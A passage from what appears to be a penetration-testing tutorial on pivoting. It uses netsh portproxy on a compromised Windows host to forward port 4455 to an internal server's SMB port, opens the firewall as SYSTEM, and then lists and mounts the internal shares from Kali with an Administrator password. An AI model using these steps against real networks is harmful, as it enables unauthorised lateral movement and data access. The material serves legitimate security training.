For this to work, the Windows system must have the IP Helper service running and IPv6 support must be enabled for the interface we want to use. Fortunately, both are on and enabled by default on Windows operating systems.
We can check that the IP Helper service is running from the Windows Services program to confirm this:
We can confirm IPv6 support in the network interface’s settings:
We can use the netsh (interface) context to add an IPv4-to-IPv4 (v4tov4) proxy (portproxy) listening on 10.11.0.22 (listenaddress=10.11.0.22), port 4455 (listenport=4455) that will forward to the Windows 2016 Server (connectaddress=192.168.1.110) on port 445 (connectport=445):
1
C:\Windows\system32> netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110
Using netstat, we can confirm that port 4455 is listening on the compromised Windows host:
1
2
C:\Windows\system32> netstat -anp TCP | find "4455"
TCP 10.11.0.22:4455 0.0.0.0:0 LISTENING
By default, the Windows Firewall will disallow inbound connections on TCP port 4455, which will prevent us from interacting with our tunnel. Given that we are running with SYSTEM privileges, we can easily remedy this by adding a firewall rule to allow inbound connections on that port.
These netsh options are self-explanatory, but note that we allow (action=allow) specific inbound (dir=in) connections and leverage the firewall (advfirewall) context of netsh.
1
2
C:\Windows\system32> netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow
Ok.
As a final step, we can try to connect to our compromised Windows machine on port 4455 using smbclient. If everything has gone according to plan, the traffic should be redirected and the available network shares on the internal Windows Server 2016 machine should be returned.
As with our earlier scenario, Samba needs to be configured with a minimum SMB version of SMBv2. This is superfluous but we will include the commands here for completeness:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
kali@kali:~$ sudo nano /etc/samba/smb.conf
kali@kali:~$ cat /etc/samba/smb.conf
...
Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
; write list = root, @lpadmin
min protocol = SMB2
kali@kali:~$ sudo /etc/init.d/smbd restart
[ ok ] Restarting smbd (via systemctl): smbd.service.
kali@kali:~$ smbclient -L 10.11.0.22 --port=4455 --user=Administrator
Unable to initialize messaging context
Enter WORKGROUP\Administrator's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.11.0.22 failed (Error NT_STATUS_IO_TIMEOUT)
Failed to connect with SMB1 -- no workgroup available
We successfully listed the shares, but smbclient generated an error. This timeout issue is generally caused by a port forwarding error, but let’s test this and determine if we can interact with the shares.
1
2
3
4
5
6
7
8
9
10
11
kali@kali:~$ sudo mkdir /mnt/win10_share
kali@kali:~$ sudo mount -t cifs -o port=4455 //10.11.0.22/Data -o username=Administrator,password=Qwerty09! /mnt/win10_share
kali@kali:~$ ls -l /mnt/win10_share/
total 1
-rwxr-xr-x 1 root root 7 Apr 17 2019 data.txt
kali@kali:~$ cat /mnt/win10_share/data.txt
data
As demonstrated by the above commands, this error prohibits us from listing workgroups but it does not impact our ability to mount the share. The port forwarding was successful.